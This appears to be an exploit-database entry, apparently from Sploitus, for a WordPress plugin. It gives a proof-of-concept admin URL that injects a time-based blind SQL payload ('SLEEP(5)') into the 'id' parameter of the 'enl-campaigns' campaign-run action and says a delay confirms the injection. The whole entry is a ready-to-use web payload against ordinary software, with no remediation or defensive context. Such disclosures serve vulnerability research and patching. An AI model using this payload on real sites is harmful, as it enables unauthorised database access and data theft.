## https://sploitus.com/exploit?id=WPEX-ID:7740646D-F3EA-4FC7-B35E-8B4A6821E178
As an admin open a link like:
http://example.com/wp-admin/admin.php?page=enl-campaigns&action=campaign-run&id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))nQIP)
There will be a delay indicating that the injection has succeeded.